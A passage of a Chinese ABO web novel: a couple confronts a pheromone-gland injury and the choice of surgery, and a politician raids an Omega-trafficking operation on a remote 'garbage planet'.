“什么?”沈之年几乎以为自己听错了,他很难把当初看到的顾景深定义为爱他的顾景深。 “你在说什么啊?” 顾景深的背影僵了一下。 “顾景深,”沈之年的声音开始颤抖,“你以为我是因为你的信息素才和你在一起的?那你告诉我,如果我只是要顶级Alpha的信息素,为什么是你?为什么不是别人?” 顾景深缓缓转过身,他的脸色苍白如纸,眼睛里有红血丝:“有什么区别?信息素吸引是生理本能,你无法抗拒我的信息素,就像你无法抗拒你的生理反应。” “所以你认为我们感情只是生理反应?”沈之年感到眼眶发热,“你觉得我对你的感情浅薄到这种程度?” 顾景深闭上眼睛,声音低沉:“我也不希望这样,但是,事实就是这样的,你知道么,你只有在闻到我的信息素时,才会热情的对我。我才能看到你对我的感情。” “我不在家里主动释放信息素的时候,你从来不会主动表达感情,不会在像其他Omega那样渴望亲近,甚至不会在人群中寻找我的信息素来确定我的位置。” “我一直告诉我自己,我不能用信息素控制你,但是有时候我真想你和我爱你一样爱我。” 沈之年愣住了,之前的家里,顾景深确实会很绅士的收起信息素,但是偶尔确实会有一点若有若无的信息素充盈房子,那个时候沈之年还以为是由于Alpha天生的领地意识。 没想到是因为这个。 顾景深睁开眼睛,那双向来深情注视他的眼眸此刻满是痛苦:“我们分开之后,我也努力了,让你像我爱你那样爱我,也认命了,喜欢信息素就喜欢信息素吧,比起你爱我的信息素,我更不能接受你离开我。” “真可惜,我们之间的关系好不容易才有一些起色,就出了这样的事情。” “这就是我的命,顾宗翰作的孽都报应给了我和哥哥,我们都不能和心爱的人相守。” 他停顿了一下,泪水无声滑落:“没有信息素,我在你眼中什么都不是。与其慢慢失去你,不如就此了断。” 苍白的漂亮男孩子,默默坐在那里流眼泪。 沈之年能够听到自己的心脏剧烈跳动, 他直接拽过顾景深的手,“你能听见么?我的心跳。” 因为顾景深的信息素十分的不稳定,所以所有人进来之前,都做过严密的信息素保护处理,现在的沈之年闻不到任何的信息素。 手下的心跳急促而有力。 顾景深的嘴巴张合,下意识的看向沈之年,但是还是不敢相信。 “真的么?”晶莹的泪珠突然就顺着脸颊落了下来。 沈之年的心跳的更快了。 他俯下身轻轻的吻去顾景深脸上的泪珠,“怎么哭了,挺好看的。” 沈之年的秘密在他喉咙里打转,或许是被美色所迷。 “如果我告诉你”他艰难地开口,声音低得几乎听不见,“我对你的冷漠不是因为不爱,而是因为我无法感受情感呢?” 顾景深皱起眉头,眼泪还没掉完,眼睛亮晶晶的:“什么意思?” 沈之年深吸一口气,这秘密他保守了太久,连他自己都几乎相信了伪装:“我患有情感淡漠症,一种罕见的信息素情感联结障碍。我的大脑无法给情感体验正常的反馈。” 顾景深的眉头皱得更深:“我不明白。” “意思是,我无法像正常人一样‘感受’爱,快乐和痛苦······”沈之年的声音有一点颤抖,这是他第一次和医生以外的人说起自己的病,“但我知道我爱你······” 他抬起头,直视顾景深的眼睛:“我第一次闻到你的信息素。暖暖的柑橘味道,那是我第一次能真正‘感受’情感的时刻。只有你的信息素能激活我大脑中沉睡的情感中枢,让我像正常人一样体验喜怒哀乐。” “你知道那一刻,我有什么的心情么?” “我对你怦然心动。” 病房里一片死寂。 顾景深怔怔地看着他,眼中满是难以置信:“你从未告诉过我。” “抱歉。这么多年我一直假装正常,假装有感情,我以为我表演得很好,没想到还是伤害到了你。” 顾景深轻声说,“爱你的话,总是会更关注你。” 沈之年走上前,不顾顾景深的退缩,轻轻握住他未受伤的手,“那我们说清楚了么?” 顾景深的手在他掌心微微颤抖。 “我不是因为你的信息素才爱你,”沈之年的声音坚定起来,“但我确实因为你的信息素才能体验到爱的感受。这两者完全不同,顾景深。就像盲人因为助视器才能看见色彩,但爱那些色彩的是他的心,不是助视器。” 他轻轻抚上顾景深颈部的绷带:“你担心没有信息素后我会离开,但对我来说,手术与否不会改变任何事。因为即使你永远失去信息素,我对你的爱也不会消失。” 顾景深凝视着他,微微张开嘴,泪珠从空洞的眼睛里落下去:“你为什么不早点告诉我?” “抱歉。”沈之年诚实地说,“这个病给我家带来的总是痛苦,我下意识就进行了隐瞒,没想到还会伤害到你。” 沈之年轻轻擦去他的眼泪:“不要做手术,顾景深。即使只有万分之一的恢复可能,我们也要试试。不是因为我需要你的信息素,而是因为那是你的一部分,我不想你为了一个错误的假设放弃自己的一部分。” “我会等你。” 顾景深久久地看着他,他伸出手,将他轻轻拉近,额头抵着他的额头:“我不该怀疑你。你对我那么好,你给我的爱,我怎么会感受不到” “信息素只是链接我们的桥梁,不是目的地。”沈之年低声说,“我爱的是桥梁另一端的人,不是桥梁本身。” 顾景深闭上眼,一滴泪落在两人相握的手上:“我答应你,不做手术了。” 沈之年如释重负,这才发现自己一直在颤抖。他倾身向前,小心翼翼地避开他的伤口,轻轻拥抱他。顾景深用未受伤的手臂环住他。 “我以为你不会爱我了,我之前又赶你离开。”顾景深拍拍沈之年的后背,后知后觉的开始对自己之前的行为感到后怕。 沈之年总是很包容,愿意给顾景深一个改过自新的机会。 沈之年看着沈顾景深,“感情就是这样,分分合合,你包容我,我包容你。” “如果一定要事事计较,爱情很难生存。” 说到这里,沈之年好像想到了什么,“不过好像一直是我在包容你。” “所以你暂时还是需要进入试用期。” “我需要好好判定一下,要不要接受你。” 第90章 一进入垃圾星, 便是土路。 最新款的航行车像汪洋里的一片叶子,被抛起,砸落, 内脏都要被颠出来。 沈奉月靠在座椅上,目光沉静地掠过窗外一成不变的山峦。灰色,沉甸甸的灰色,深灰色, 浅灰色,蒙着一层灰黄尘土, 几乎要顺着车窗泼进来。 空气里是浓郁的、被太阳蒸腾过的泥土和腐殖质气味, 还混杂着远处隐约的垃圾臭味。 司机是个黝黑的本地汉子, 一路寡言。只在某个急弯时,才突兀地开口,带着点此地特有的、黏糊糊的口音:“沈先生,前头就到了。条件差些,多担待。” “麻烦师傅。”沈奉月的声音平稳,听不出情绪。 担待。这词他在过去几个月里, 耳朵几乎听出了茧子。 从首都星到垃圾星,一路下坡,路越来越窄,人越来越少, 担待却越来越多。 仿佛他是什么易碎的瓷器, 或者惹人嫌的麻烦,需要被小心翼翼地“安置”在某个角落。 掌权仿佛是专属于Alpha的权力。 Omega想走出来太难。 于是,“年轻,还需要多锻炼”、“深入基层了解真实情况”便成了一张体面的逐客令,把他一放再放。 哪怕他有两个孩子, 也真的出身基层。 宣讲Omega权益? 很好。那就去最需要的地方吧。比如,垃圾星。 垃圾星的污染严重,暂时没有空中车道,但是地下车道也没能好好的修,不知道过了多久,航行车终于喘着粗气,停在一片还算平整的土坪上。 几幢歪斜的土坯房,灰扑扑的,了无生气。几棵蔫头耷脑的槐树,树下蹲着几个男人,赤着膊,古铜色的皮肤泛着油光,指间夹着劣质卷烟。 车停下的瞬间,他们的目光像被磁石吸过来,黏腻地、不加掩饰地上下刮擦着沈奉月。 那眼神不像看人,像估量集市上牲口的牙口,或者掂量一件刚到货的、用途暖昧的瓷器。 沈奉月不知道见过的多少类似的眼神,但是哪怕心里有了预期,垃圾星的环境还是比他想象的要差的太多了。 星环合众国的星球很多,之前沈奉月也再贫民窟生存过,他自认为对于底层Omega的生活还算是了解,至少他认为他了解。 但是真的离开首都星,到了垃圾星,他还是觉得自己的心理预期做的太少了。 ‘ 这里简直落后的不像星际社会。 这么多年的科技发展仿佛遗忘了这颗星球。 沈奉月推门下车,山间的热浪和那些目光一起裹上来。他穿着最普通的白衬衫,深色长裤,头发一丝不苟地束在脑后,露出一张过于素净、因而在这种环境里显得格外突兀的脸。 一个穿着皱巴巴灰色polo衫的中年男人小跑过来,脸上堆起笑容,伸出手:“哎呀,欢迎欢迎!沈先生是吧?一路辛苦!我是这里的委员您叫我麦克就行。” 他的手很厚,粗糙,握上来力道不小。沈奉月与他轻轻一握便松开。“麦克,打扰了。” “哪里话!领导能来我们这破地方,是我们的荣幸!”麦克嗓门洪亮,引着他往其中一栋稍齐整些的房子走,“住处简陋,已经收拾过了。宣讲的事,安排在明天下午,前头那棵老槐树下,您看行不?到时候我把能叫的……呃,Omega同志们都叫来!” 他提到“Omega同志”时,语气有极细微的迟疑,眼神飘了一下。沈奉月只当没看见,点头:“好,听您安排。” 所谓的住处,是一间十平米左右的单间,墙壁是斑驳的黄泥,贴着几张早已褪色的年画。一张木板床,一张掉漆的木桌,一把椅子。窗户很小,蒙着厚厚的灰尘和蛛网。空气里有股挥之不去的霉味和尘土气。 麦克搓着手:“条件差,沈先生您多包涵。饭食我让我家里那口子送来。” 又是担待。沈奉月把简单的行李放下,笑了笑:“挺好的,谢谢麦克。” 麦克似乎松了口气,又寒暄两句,便离开了。脚步声远去,声响才渐渐清晰起来。远处有狗吠,近处有鸡鸭的咕咕声,还有男人粗嘎的笑骂。女人们的声音很少,偶尔有一两句低语,也很快湮没下去。 A还是O,是没有办法通过声音判断的,但是女人很少,不是一个好现象,Omega只会更少。 垃圾星故名思议,是人们倾倒难以处理的垃圾的地方,但是里面还有少量被放逐的人在这里生活,零零散散,算不上一个行政单位。 在这里宣讲当然也是没有任何的用处。 下午,沈奉月在这个人员居住的地方走了走。土路坑洼,他尽量走得平稳。偶尔遇到人,在这地方,第二性别好像已经失去了意义,就算有AO也是劣等,根本看不出,只能用第一性别来定义人。 男人们依旧是那种打量货物的眼神,远远站着,窃窃私语,发出意义不明的笑声。 女人们则不同。他们多是中年或老年,穿着黯淡,看见他,先是愣一下,随即飞快地低下头,脚步匆匆地走开,仿佛他身上带着什么不洁或危险的东西。 有几个年轻些的媳妇或姑娘,躲在门缝或窗后,眼神怯怯的,带着好奇,但绝不出来。 只有一个头发花白、牙齿掉了几颗的老太太,坐在矮凳上剥豆子,浑浊的眼睛看了沈奉月许久,才慢吞吞地用含糊的土话说:“闺女,打城里来?” 沈奉月蹲下身,温和地答:“是啊,婆婆。来咱们这里看看。” “看看好,看看好……”老太太重复着,低下头继续剥豆子,不再说话。 宣讲会在第二天下午如期举行。老槐树下稀稀拉拉坐了二十来个人,几乎全是中老年,穿着最破旧的衣服,脸上是经年累月操劳留下的深深沟壑。沈奉月看不出他们是不是真的都是Omega,但是他猜不会全是。 他们沉默地坐着,眼神空茫,看着沈奉月,又好像没看。几个男人蹲在远处的土墙根下,嘻嘻哈哈,指指点点。 沈奉月站在一张摇摇晃晃的旧课桌后,开始讲。 从《Omega权益保障法》讲到反家暴,从受教育权讲到婚姻自由。他的声音清晰,深入浅出。 但台下依旧是一片沉寂的沙漠。那些面孔麻木,眼神躲闪,偶尔有人抬头,撞上他的目光,又立刻垂下。远处男人的嗤笑声偶尔飘过来,格外刺耳。 “……咱们Omega,首先得自己看得起自己,自立自强……”沈奉月讲到这句时,看到前排一个约莫五十多岁的Omega,嘴角极其轻微地撇了一下,那是一个转瞬即逝的、近乎嘲讽的弧度。然后他重新低下头,盯着自己皲裂的、沾满泥垢的脚趾。 讲座草草结束。妇人们沉默地起身,沉默地散去,自始至终,没有人提问,没有人交谈。麦克走过来,脸上依旧是那种热情过度的笑容:“讲得太好了!深入浅出!沈先生真是有水平!大家肯定都听进去了!” 沈奉月看着他眼里清晰的敷衍,只点了点头,开始收拾自己的讲稿。 在这个地方宣讲是没有意义的,他们的支持没办法化成一张有用的选票,这是他再之前博弈中失败所必须付出的代价,沈奉月心里明白—— 夜里,垃圾星早早陷入一片原始的黑暗与寂静。只有零星的狗吠和不知名的夜虫鸣叫。沈奉月躺在床上,木板硬得硌人,霉味萦绕不去。 白天的画面一帧帧在脑海里回放:那些黏腻的目光,那些匆匆避开的Omega,那个妇人嘴角嘲讽的弧度,还有麦克热情表象下的冰冷。 他失眠了。 这里不对劲。不仅仅是穷,不仅仅是闭塞。 他悄无声息地起身,没有开灯,借着窗外一点惨淡的月光,摸到门边。轻轻拉开门栓,老旧木门发出极细微的“吱呀”声。他闪身出去,融入浓墨般的夜色。 垃圾星人员驳杂,他带来的人不少,但是现在不能全叫起来,他只是简单的叫了几个。 这地方很小,土路在黑暗中勉强可辨。他们避开可能有狗的人家,凭着白天的记忆,慢慢往后山方向走。那里似乎有几间更破败、看起来废弃已久的房子。 夜风很凉,带着露水和植物腐败的气息。虫鸣在草丛里响成一片。 绕过一片竹林,前方出现一个低矮的院落轮廓。土墙坍塌了一半,院门歪斜着。看起来像是废弃的村卫生所或者什么别的公共设施。但此刻,那破败的院落里,竟隐约透出一点光。 沈奉月的脚步顿住了,隐在一丛茂密的灌木后。那光是从一扇没有完全糊死的破窗户里透出来的。里面有人?在这种地方,这个时间? 他和带过来的人交换了一个眼神。 他屏住呼吸,一点点靠近。土墙塌陷的地方形成一个缺口。他小心翼翼地探出一点视线。 里面是一个极其简陋的屋子,堆着些破烂家什。中间一张脏污的木台子,上面似乎躺着一个人,盖着一块辨不出颜色的布。台子边站着两个人影,一个矮胖,一个干瘦。矮胖的那个手里拿着一个玻璃注射器,正对着烛火,排空气泡。干瘦的那个手里摆弄着几把形状怪异、闪着冷光的小钳子、小刀子。 “……麻药够了不?别半路醒了。”干瘦的声音嘶哑。 “够,够得很。这分量,一头牛都撂倒。”矮胖的回答,带着本地口音,“快点弄,弄完还得送走。那边催得急,货要紧。” 矮胖的掀开了台子上那人盖着的布。 烛光昏暗,但足以让沈奉月看清。 那是一个少年。非常年轻,可能只有十六七岁。穿着件单薄的、洗得发白的旧汗衫和短裤。 他闭着眼,脸颊有不正常的潮红,嘴唇却是苍白的。但他的脸……长得这样漂亮的男孩,哪怕是在首都星也很少见,五官精致得像画出来的,睫毛又长又密,在眼睑下投出一小片阴影。 此刻他毫无知觉,像个被随意摆放的人偶。 矮胖的拿起了那把小刀。烛光在那锋刃上跳跃,寒光凛凛。他的另一只手,伸向了少年汗衫的下摆。 “动作快点,先把标记做了,皮相这么嫩,以后搞成Omega我们就赚大了……诱导剂······” 就在这时,那少年长长的睫毛,几不可察地颤动了一下。或许麻药分量并非如那矮胖所说足够,或许是极致的恐惧激发了潜能。他的眼皮挣扎着,掀开了一条缝隙。烛光映入他眼中,那里面起初是一片空茫的混沌,随即迅速被巨大的恐惧和痛苦填满。 他的视线没有焦距地移动。 沈奉月知道,现在已经不能再等了,他这次过来一直再找的东西终于有了眉目, 到现在为止,这是他走的第四个垃圾星人员聚集点。 他不是一个坐以待毙的人,来到垃圾星的时候,就已经做好了借此机会提升形象的准备,但是他也是没有想到这个偏远的垃圾星竟然还在做Omega改造和买卖的勾当。 这对他来说是一个意外,但是他马上就意识到,他完全可以利用这个机会,打一个漂亮的翻身仗。 他轻轻一挥手,带来的人就突然冲进了这个小小的房间。 “不许动!星警!” “蹲下!手抱头!” 矮胖和干瘦男人僵在原地,面如死灰。 等到那两个人被摁住,沈奉月才缓缓的走到病床前。 那双眼睛瞬间睁大了,泪水几乎立刻就涌了出来,浸湿了浓密的睫毛。 他的嘴唇翕动,没有声音。但沈奉月读懂了那个口型。 他说:“天使…你来了…你终于来救我了……” 这个孩子看起来比沈之年还要小,还这么漂亮,看到漂亮的孩子,沈奉月总是会心软一些。 他亲手把那个孩子身上绑着的绳子解开,把伊桑抱在怀里,等待身边的人拍下这感人的一幕,接下来这张照片会出现在星际日报的头版头条。 深入垃圾星,亲手解救险些被改造的孩子,这会让他的政治形象更上一层楼。 沈奉月想着看向怀里的孩子。 这个孩子看起来总有一些眼熟,有些像年年,“孩子,跟叔叔回家吧,我会给你一个家。”《 》 90-100 第91章 沈之年紧挨着顾景深坐在冰凉的金属凳上, 几乎能感受到顾景深身体里传来的细微颤抖,顾景深无法控制住自己的信息素,尤其是沈之年还在身边。 他悄悄伸出手, 指尖触到顾景深紧握成拳、骨节发白的手,然后坚定地、一根根手指地撬开,将自己的手嵌入那冰冷的掌心,用力握住。 “顾先生, 您的情况,我们院内的神经腺体专科已经进行了三轮会诊。”头发花白的李医生将几张影像胶片夹在灯箱上, “损伤位于腺体核心处, 这是信息素产生与调控最精密的枢纽。目前的医学手段, 对于这种程度的神经束断裂性损伤,修复可能性……微乎其微。” 顾景深的下颌线绷得像拉紧的弓弦,目光沉沉地落在那些片子上,喉咙发紧,他张了张嘴巴,但是说不出话。 这些天他不知道找到了多少的大夫, 但是还是一无所获,所有大夫的诊断几乎都是一致的。 沈之年先一步开口,声音因为紧张而有些干涩:“医生,难道没有任何药物、理疗或者……任何可以延缓恶化、哪怕只是维持现状的方法吗?我们不怕麻烦, 需要多精细的护理都可以。” 李医生推了推眼镜, 看向沈之年的眼神带着一丝不易察觉的同情:“沈先生,这不是怕不怕麻烦的问题。顾先生的现状本身就是不稳定的,甚至是在不停恶化的,不可控的信息素释放,首先会持续攻击顾先生自身的免疫和内分泌系统, 导致衰竭。其次,这种高强度的、无规律的信息素外泄,尤其在公共场合,极易引发Alpha间的冲突,或对未标记的Omega造成强烈干扰甚至诱导发热,构成严重的社会公共安全隐患。” “尤其顾先生是一名极其极优性Alpha,你和我都明白,一个不能够控制自己信息素的极优性Alpha,对于社会来说是多么不稳定的因素,抱歉,我这么说可能太冷酷了,但是从理性且负责任的角度出发,我们最优先的建议是:择期手术,割除受损腺体。” “割除……”沈之年喃喃重复,握着顾景深的手不自觉地收紧。 其实沈之年对于这个结果并非全无预期,他之前也拿着顾景深的病例找过薛明亦。 薛明亦虽然年轻,但是在腺体方面也非常的权威,他和师门讨论良久,最后得出了一样的结论。 这次他们也只是不信邪,想要再来试一试。 “是的。这能从根本上杜绝隐患。”医生的语气公事公办,“手术后会永久性丧失Alpha信息素功能,伴随体能、免疫力一定程度的下降,需要长期补充替代激素,但至少……是安全的,对自身、对他人,都是最稳妥的选择。” “我接受手术。”顾景深的声音骤然响起,干涩、沙哑,“请尽快安排。” “顾景深!”沈之年猛地转过头,不敢置信地瞪着他,眼眶瞬间红了,“你……你说什么?” 顾景深没有看他,依旧盯着医生,面上是沈之年曾经常见的冷静:“我说,我同意手术。越快越好。我不能……留着一个随时可能伤害别人、尤其是……”他顿了顿,把“伤害你”三个字咽了回去,改口道,“……危害社会的隐患。” 顾景深早就做好了这样的抉择,现在只是说出口,没什么难的。 “隐患?”沈之年的声音有一点颤抖,“在你心里,你就只是这样一个需要被处理掉的隐患吗?景深,我们再考虑一下吧,不要这么草率的做决定,摘除腺体不仅仅是失去信息素,对整个身体都会产生很大的影响。” 沈之年说着,看向李医生,李医生无法对病人撒谎,只是点头表达对沈之年言语的认同, “没关系,年年。”顾景深叹息一声,“我不想变成一个连自己信息素都控制不了的Alpha,一个可能随时变成野兽伤害自己爱人的怪物,手术是最干净利落的解决办法!至少那样……我还能以一个安全的、无害的身份待在你身边,我们还有几十年的时间。” 顾景深的面色和语气都太平静了,平静的沈之年根本没办法判断顾景深究竟是不是在说谎。 “那根本不是解决办法,”沈之年站起来,花香味前所未有地浓郁起来,温柔地和柑橘味道缠绕在一起,试图将它包裹、安抚,“医生,除了割除,难道就没有第二条路了吗?再小的希望我们也想试试!” 眼前地两个人虽然面色语气都很平和,但是信息素早就把他们真实的情绪出卖了,李医生沉默了片刻,手指在病历上轻轻敲了敲,才缓缓开口:“理论上……还有一条路。一种尚在探索阶段的神经介入诱导再生疗法。通过超高精度的立体定向探针,刺激受损区域边缘尚存活的部分,同时注入强效信息素诱导剂和神经生长因子,试图激活并引导残存的健康细胞进行有限修复,重建部分调控通路。” 沈之年的眼睛瞬间亮起一丝光芒:“这个疗法!成功率有多少?” 其实大夫说的很复杂,沈之年没听懂,但是他明白,这是有办法的吧意思,他也愿意慢慢了解。 李医生面色凝重:“根据目前有限的临床数据和我们的评估,成功率……可能不足百分之十五。而且,失败后果远比成功来得明确和严重。轻则信息素彻底枯竭,重则可能因神经刺激过度或感染,造成永久性、不可逆的神经系统损伤,影响运动或感知功能,甚至……有瘫痪的风险。正因为风险与收益如此悬殊,我们专家组才没有将它列为可推荐选项。我个人……非常不建议你们选择。” “毕竟顾先生的身份很特殊。” 顾家绵延多年,不仅仅是巨贾,在首都星有着举足轻重地地位,如果顾景深突然倒下,在没有后继者的情况下,造成的后果是难以估量地。 “不需要考虑这个。”顾景深几乎是在医生话音落下的同时就做出了决断,他深吸一口气,握住沈之年冰凉的手,但语气却异常平静,甚至带着一丝疲惫的妥协,“之年,你听到了,百分之十五,对比可能瘫痪的风险。这个赌注太大了,我也不能就这么倒下去,每个人都有自己的责任。” “手术吧,至少结果是明确可控的。割掉它,一切就都……简单了。”他扯了扯嘴角,想挤出一个安抚的笑,却实在笑得不够好看。 “景深,那是百分之十五的希望,不是0,”沈之年沉默开口,这个选择确实风险太大了,但是谁知道以后会不会有技术上地突破呢,如果把腺体割掉,就再也没有机会了。 “你连试都不让我试一下吗?万一呢?我们可以再等等尝试一下,也许技术能有新的突破。”沈之年不愿意用钱解决问题,但是这一刻,他真的希望钱是有用的,他们真金白银的砸进去,也许能够推动技术的发展。 “年年,”顾景深在今天第一次不再是平静的面孔,他轻轻垂下头,好像是完全屈服于现状一样,“如果那百分之八十五的失败概率降临,我变成一个瘫在床上需要人伺候的废物,我不能接受这样的结果。” 他的话没说完,但是沈之年明白他的意思,他宁愿希望能够尊严的活过最后几十年。 诊室里的空气仿佛凝固了,两个人都没有说话,只剩下两人交织碰撞的信息素。 李医生看着这对伴侣,无奈地叹了口气,摘下眼镜揉了揉眉心:“这样吧,你们先别急着下最终决定。手术我可以先帮你们预约上,但还有一周的时间。这一周,你们回去,冷静地、好好地商量一下。毕竟,这是关系到顾先生一生,也关系到你们两人未来的选择。无论最终决定是什么,都需要你们双方达成一致,共同面对。”—— 离开诊室,医院走廊漫长而冰冷,尽头窗户灌进来的北风令人直打寒颤。 顾景深走在靠在瓷砖墙壁的一侧,浓密的睫毛在苍白的皮肤上投下一小片阴影,整个人透出一种近乎虚脱的疲惫和颓丧。 沈之年走到他面前,站定。他没有说话,只是伸出手,微微发颤的指尖抚上顾景深冰冷的脸颊,然后双手捧住他的脸,温柔而坚定地让他低下头,看着自己。 “景深,看着我。”沈之年的声音很轻,“你听好,我只说一次。” 顾景深睁开眼,晦暗的眸子里倒映着沈之年含泪却异常明亮的眼睛。 “我爱你。”沈之年一字一顿,说得极其缓慢而清晰,“不管你做出什么样的选择,我都会支持你,没有信息素也没有关系。” 他吸了吸鼻子,继续道:“也许这样也很好,这样至少能够证明我们之间的爱情不是由信息素来决定的,现在我其实已经不太能够闻到你的信息素,但是我看你还是可怜可爱。” 顾景深喉结剧烈滚动,想说什么,却被沈之年用手指轻轻按住了嘴唇。 沈之年的手轻轻划过顾景深的脸颊,哪里都很和心意。 信息素是基因的外化,两个人的信息素能够达到百分百的匹配,从某种意义上来说,他们的相爱会刻在基因里,没有一处不符合对方的心意。 只是信息素会让这种感情更加激烈的迸发出来。 “所以,”沈之年凑得更近,额头贴上顾景深的额头,鼻尖相触,呼吸交融,信息素的气息温柔地包裹着对方,“就算手术了,就算你没有了信息素,身体变得很差……那又怎么样呢?” 顾景深怔住了,沈之年方才还在劝说他选择新的方案,现在就已经选择了尊重他的想法。 他知道,沈之年这样说是担心他对失去信息素之后的生活感到不安。 无论顾景深表现得多么决绝,接受割除腺体,对任何一个Alpha而言,不啻于一场精神上的阉割,也可能不止在精神上。 而且其实他也好,沈之年也好,他们都不能确定手术带来的形象,Omega需要度过发情期,也需要信息素的滋润······ 顾景深轻轻把脸贴在沈之年的手心,向上微微抬起眼去看他的脸。 这样的角度像可爱的小狗,沈之年看到的时候心轻轻的软下来, “我们去复婚吧,好不好?” 顾景深猛地一震,以为自己听错了:“什么?年年,现在不是说这个的时候,我……” 他能猜到沈之年为什么突然提起这个,他在怜悯他, 沈之年之前还没有考虑过结婚的问题,他早就接受了以后和顾景深一直在一起生活, 但是结婚,是突然产生的念头,这样的话,不管出于什么事情,他都能以更亲近的身份陪在顾景深的身边。 顾景深的眼睛里突然就滚落下泪珠,一颗一颗的砸在沈之年的手心,“谢谢你,没抛下我。” “如果我摘掉了腺体,我就再也没有信息素了,我会是一个残废,你会更喜欢薛明亦么?”这个问题不是突然出现在顾景深的脑子里的,做出摘除下腺体的决定十分的艰难,无时无刻,顾景深不在想这个问题。 他无数次问过自己,但是得不到答案,他也想要趁人之危,和年年求婚,又暗恨自己卑鄙。 年年总是比他更加勇敢。 他的年年又救了他。 沈之年的另一半心也软下来,“我们可以先提交一个申请,好么。” 顾景深知道他现在同意结婚无异于一种趁火打劫,但是他没办法,他本来已经说服自己,远离沈之年,祝福他余生幸福。 但是在见到沈之年的时候,一切的心理建设全部都崩塌了。 想到可能以后,沈之年会和薛明亦结婚,生一个可爱的孩子。 他恨不得立刻杀了薛明亦。 顾景深羞于表露自己内心的阴暗面,不敢看沈之年的眼睛,微微侧过头,“我们结婚吧,我想和你结婚,想在法律上、在所有人面前,成为彼此不可分割的一部分,好不好?”—— 沈之年递交完申请,精神还有一点恍惚,前几天,他好像还在和林之白说,他只打算暂时和顾景深恋爱。 不过也没关系,他现在病情好了很多,能够摆脱对顾景深信息素的依赖,也能够接受离婚。 “我们先回家可以么?”顾景深根本不敢让沈之年停下来仔细的思考这一切。 推开那扇熟悉的门,一股久违的、混合着阳光和淡淡木质家具的气息扑面而来。 一切如旧。 客厅沙发上,沈之年平时偶然会盖的那条羊毛毯仍随意搭在一角,仿佛主人只是起身去倒了杯水。 这是顾景深家里原本就有的东西,沈之年收拾的时候没带走。 在后面的很多个日子,顾景深都会拿出这条毛毯······ 顾景深常坐的躺椅边,翻到一半的杂志还敞开着······ 没有因为顾景深受伤住院而变得凌乱或蒙尘,显然有人定期打扫,并刻意维持着原状。 沈之年有点诧异的看向顾景深。 顾景深走到他身边,轻声说:“我根本没办法接受你离开我了。我想着……万一哪天你想回来。” 他顿了顿,声音更轻,“我总觉得你会回来的。所有东西都在原位,等着我们回来,继续生活。” 顾景深没有和沈之年说那些他荒唐的经历,他不敢乱动家里的任何东西,因为一旦动了,幻想就不再真实。 沈之年转过身,深深地看向顾景深。 他清澈的眼中映着窗外照进来的光线,也映着他自己动容的脸。 顾景深伸出手,手指穿过沈之年柔软的发丝,掌心贴着他的后颈,那里是Omega腺体所在,散发着令他感到安宁的花香。 “之年……”他低唤,声音沙哑得不成样子。 沈之年微微仰起脸,闭上眼睛,主动迎向他。 这是一个很轻的吻,起初只是唇瓣的相贴,带着小心翼翼的试探。顾景深的信息素依旧不稳定,丝丝缕缕地逸散, 吻逐渐加深。沈之年伸手环住顾景深的脖子,指尖无意识地摩挲着他后颈纱布的边缘。 顾景深的手臂收紧,将他牢牢圈在怀中,仿佛要借由这个吻,确认彼此的存在,确认这份爱足以对抗任何即将到来的风雨。 交换的呼吸温热,唇齿间是彼此熟悉又令人心安的味道,所有的恐惧、不安、对未来的彷徨,似乎都在这个悠长而温柔的吻里暂时消融了。 他们额头相抵,微微喘息,眼中只剩下对方的倒影。 沈之年又轻轻的吻了一下顾景深的嘴角,“我得先回去了,我晚上联系你好么?” 顾景深的信息素是完全的不可控因素,沈之年又受他信息素的影响很深,为了沈之年的个人安全考虑,他不能长久的留在顾景深身边。 这是医生特意交代的。 顾景深不得不送沈之年离开 两个人刚刚走到门口, 沈之年光脑尖锐的铃声骤然响起,打破了两个人之间的平静。 两人都是一愣,从彼此的眼眸中看到了一丝被打扰的不悦。 沈之年深吸一口气,平复了一下过快的心跳,从光脑屏幕上,“李医生”三个字不断跳动。 他看了顾景深一眼,顾景深点了点头。 沈之年按下接听键,并像之前一样,打开了免提。 “小沈先生!你和顾先生在一起吗?有个非常紧急且重要的新情况!”李医生激动的声音瞬间充满了整玄关。 “我们在,李医生,您说。”沈之年稳住声音,手却不由自主地握紧了顾景深的手。 “你们刚才做了什么!刚才顾先生身体有一项指标出现了极其异常的变化!”李医生的语速又快又急,带着难以置信的兴奋,“信息素本源合成酶的活性数值,出现了明确的、虽然微小但可复测的提升!这完全不符合进行性坏死的病理规律!” “虽然提升幅度只有约百分之零点三,但在你们这种明确诊断为进行性、不可逆损伤的病例里,出现任何提升都是极不寻常、几乎不可能的!” 顾景深和沈之年同时屏住了呼吸。 “我刚才调取了你们的基因匹配度报告——百分之百!”李医生的声音因激动而更加洪亮,“我有一个非常大胆但合理的推测:如此罕见超高匹配度下,小沈先生你自身稳定、健康、且与顾先生高度契合的Omega信息素,在你们日常尤其是密切接触时,可能对顾先生那套完全紊乱的腺体神经调控系统,产生了某种我们目前医学尚未完全认知、无法用常规理论解释的正向干预作用!” 沈之年捂住嘴,眼睛难以置信地睁大。顾景深则下意识地抬起手,指尖轻轻触碰到自己后颈包裹着纱布的腺体位置。 “你们先回到医院里面来,我们需要做更加详细的身体检查。” 电话挂断。 客厅里一片死寂,只剩下两人交错的、逐渐变得粗重的呼吸声—— 之前顾景深要做的检查已经够多了,现在沈之年也不得不加入到了这个检查大军。 沈之年甚至觉得自己的身体里里外外都被扫描了两三遍,他现在在医生面前应该已经完全没有秘密了。 最后才再次坐到了李大夫的面前。 “腺体是十分精密的器官,我们至今对腺体的了解不足以百分之一,但是完美的匹配度确实创造了许多的奇迹。” “这就像一把全世界独一无二的生物钥匙,在无数次尝试中,无意间触碰到了锁芯内部某个尚未完全锈死的、关乎自我修复的隐秘开关!”李医生继续解释道,语气充满兴奋,“虽然现在断言为时过早,但这绝对是一个前所未有的、颠覆性的积极信号!它意味着顾先生的腺体可能并非我们之前判断的完全坏死,而是在超高匹配度信息素的环境下,保留了极其微弱的、我们现有检测手段难以捕捉的活性潜能!” “现在我还没办法说明信息素对顾先生起效的原理,但是刚才将顾先生放置在沈先生的信息素里进行测试时,那种很好的数值回升再次发生了,这不是一种偶然。” “所以……李医生,您的意思是?”沈之年的声音因为激动和期待而颤抖得厉害。 